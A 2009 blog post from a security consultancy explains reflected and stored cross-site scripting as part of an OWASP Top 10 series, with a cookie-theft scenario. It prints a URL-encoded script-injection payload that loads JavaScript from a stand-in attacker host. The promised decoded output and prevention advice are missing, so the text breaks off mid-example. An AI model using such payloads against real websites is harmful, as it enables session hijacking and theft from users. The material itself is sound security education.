OWASP Top 10; Cross-Site Scripting (XSS)

This article explains OWASP Top 10 cross-site scripting (XSS), including reflected and stored attack patterns and their impact on users and sessions. It also outlines practical prevention guidance for both developers and users.

Coveros Staff

November 13, 2009

In my , I discussed explaining each vulnerability in the OWASP Top 10 for you. The first on the list is Cross-Site Scripting (XSS).

Websites today are very advanced and they contain lots of dynamic content. Dynamic content is information on a web site that is generated on the fly. Dynamic content is usually seen on forums, ecommerce sites, and online catalogs. Dynamic websites can be vulnerable to a threat called Cross-Site Scripting (also known as XSS).

What is XSS?
XSS is a vulnerability located in web applications that allows attackers to inject code into websites viewed by others. XSS usually takes place when a web application collects malicious code from a visiting user. This code is generally in the form of a hyperlink which contains malicious code inside. The goal of the attacker is to get a user or victim to launch or view this code. Once the code is run, the web application responds by creating a web page that displays the malicious data that was sent to it.

There are generally two types of XSS attacks, reflective and stored. Reflective XSS occurs when an attacker creates a malicious URL and manages to entice a victim to click on the link. The attacker can even encode the malicious section of the link to make it less obvious and suspicious to their target. This is how phishing attacks work. When the user clicks on the link, the vulnerable web application reflects the code back to the victim’s browser executing whatever the attacker intended.

The other type of XSS is referred to as stored cross-site scripting because the application stores the malicious code in the database. Anyone who visits the vulnerable page will be affected. This attack has the potential to affect multiple users without any effort on their part. Teaching users not to click on suspicious links does not work with this attack because they can be affected by just visiting a compromised web page.

XSS Attack Scenario Example
An attacker decides to target a victim who makes purchases from an online store. This online shop stores a person’s credit card information for making future purchases simple. The attacker knows if he can steal the victim’s cookies he can buy all the things he wants. The attacker determines there is an XSS vulnerability in the web application and sends the victim an email with a malicious link. The victim clicks on the link and is redirected to a normal webpage (like a news article) but at the exact time the victim unknowing visited a specially designed website the attacker created to steal their cookies.

How to Exploit XSS
The exploits listed below redirect the victim to an attacker’s website which could steal their cookies or any of a number of malicious scenarios an attacker could come up with.

Suppose we have a web page that welcomes a user to a website:

Hello ${param.user}!

If the user parameter contains Roger, then the output would be “Hello Roger!”

But id the parameter contained a value like the following:

%3Cscript%20src%3D%22http%3A//attacker.org/bad.js%22%3E%3C/script%3E

The server will decode the parameter and send the following to the browser:

Hello

 

Coveros Staff

Coveros Staff

This post represents the collective insights of the Coveros team. Our staff consists of software experts who bring deep experience in secure agile development, DevOps, testing, and software quality. Over the past 20 years, Coveros has trained more than 30,000 professionals and worked with half of the Fortune 100 companies on mission-critical software development challenges. We draw on this extensive experience to share practical insights, proven strategies, and real-world solutions that help organizations build better software faster and more securely.